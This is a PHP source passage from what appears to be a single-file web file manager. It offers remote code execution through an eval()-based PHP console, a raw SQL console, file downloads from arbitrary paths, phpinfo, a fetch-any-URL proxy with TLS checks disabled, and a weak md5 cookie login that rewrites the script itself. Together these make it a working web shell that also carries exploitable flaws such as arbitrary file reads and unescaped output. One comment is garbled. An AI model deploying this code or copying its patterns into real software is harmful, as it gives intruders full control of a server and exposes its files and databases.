	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
